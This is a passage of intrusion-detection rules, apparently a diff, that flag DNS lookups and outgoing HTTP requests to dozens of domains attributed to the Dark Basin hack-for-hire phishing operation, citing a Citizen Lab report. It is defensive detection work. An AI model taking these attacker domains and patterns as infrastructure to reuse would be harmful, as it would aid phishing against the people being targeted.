priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailsecurenode.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailsecurenode.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailsecurenode\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354483; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailserver399.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|emailserver399|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353361; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailserver399.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|emailserver399|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353362; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailserver399.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailserver399.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailserver399\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353363; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailserver4859.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|emailserver4859|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355061; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailserver4859.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|emailserver4859|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355062; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailserver4859.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailserver4859.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailserver4859\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355063; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailserver499.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|emailserver499|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354441; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailserver499.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|emailserver499|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354442; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailserver499.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailserver499.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailserver499\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354443; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailserverhk48.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|emailserverhk48|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354271; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailserverhk48.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|emailserverhk48|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354272; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailserverhk48.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailserverhk48.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailserverhk48\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354273; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailserverholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|emailserverholland|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354261; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailserverholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|emailserverholland|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354262; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailserverholland.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailserverholland.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailserverholland\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354263; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailservername299.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|emailservername299|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354311; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailservername299.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|emailservername299|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354312; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailservername299.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailservername299.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailservername299\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354313; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailseverrus23.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|emailseverrus23|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353191; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailseverrus23.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|emailseverrus23|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353192; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailseverrus23.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailseverrus23.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailseverrus23\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353193; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: emailvalidateservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|emailvalidateservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354321; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: emailvalidateservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|emailvalidateservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354322; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: emailvalidateservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"emailvalidateservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])emailvalidateservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354323; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: esrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|esrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357341; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: esrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|esrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357342; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: esrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"esrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])esrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357343; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: euanticorruption.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|euanticorruption|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353221; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: euanticorruption.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|euanticorruption|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353222; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: euanticorruption.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"euanticorruption.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])euanticorruption\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353223; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: exchangeserver2345.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|exchangeserver2345|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355511; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: exchangeserver2345.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|exchangeserver2345|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355512; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: exchangeserver2345.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"exchangeserver2345.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])exchangeserver2345\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355513; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: exchangeserverformailing.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|exchangeserverformailing|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355421; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: exchangeserverformailing.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|exchangeserverformailing|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355422; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: exchangeserverformailing.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"exchangeserverformailing.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])exchangeserverformailing\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355423; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: extranetserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|extranetserviceonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353551; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: extranetserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|extranetserviceonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353552; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: extranetserviceonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"extranetserviceonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])extranetserviceonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353553; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: fastserverasia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|fastserverasia|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356811; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: fastserverasia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|fastserverasia|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356812; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: fastserverasia.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"fastserverasia.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])fastserverasia\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356813; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: fastservereurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|fastservereurope|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356821; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: fastservereurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|fastservereurope|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356822; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: fastservereurope.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"fastservereurope.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])fastservereurope\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356823; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: fastserveruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|fastserveruk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356831; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: fastserveruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|fastserveruk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356832; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: fastserveruk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"fastserveruk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])fastserveruk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356833; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: fastserverusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|fastserverusa|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356841; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: fastserverusa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|fastserverusa|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356842; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: fastserverusa.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"fastserverusa.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])fastserverusa\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356843; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: forumtechtopic.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|forumtechtopic|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357171; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: forumtechtopic.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|forumtechtopic|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357172; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: forumtechtopic.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"forumtechtopic.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])forumtechtopic\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357173; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: frwrdrurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|frwrdrurl|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355281; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: frwrdrurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|frwrdrurl|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355282; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: frwrdrurl.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"frwrdrurl.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])frwrdrurl\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355283; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: frwrdrwr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|frwrdrwr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356781; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: frwrdrwr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|frwrdrwr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356782; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: frwrdrwr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"frwrdrwr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])frwrdrwr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356783; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: getemailopens.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|getemailopens|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354231; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: getemailopens.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|getemailopens|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354232; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: getemailopens.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"getemailopens.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])getemailopens\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354233; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: getreadytorunhalfmarathon.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|19|getreadytorunhalfmarathon|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356951; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: getreadytorunhalfmarathon.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|19|getreadytorunhalfmarathon|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356952; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: getreadytorunhalfmarathon.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"getreadytorunhalfmarathon.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])getreadytorunhalfmarathon\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356953; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: getsetgoforhealth.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|getsetgoforhealth|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356961; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: getsetgoforhealth.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|getsetgoforhealth|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356962; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: getsetgoforhealth.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"getsetgoforhealth.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])getsetgoforhealth\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356963; rev:1; priority:1; 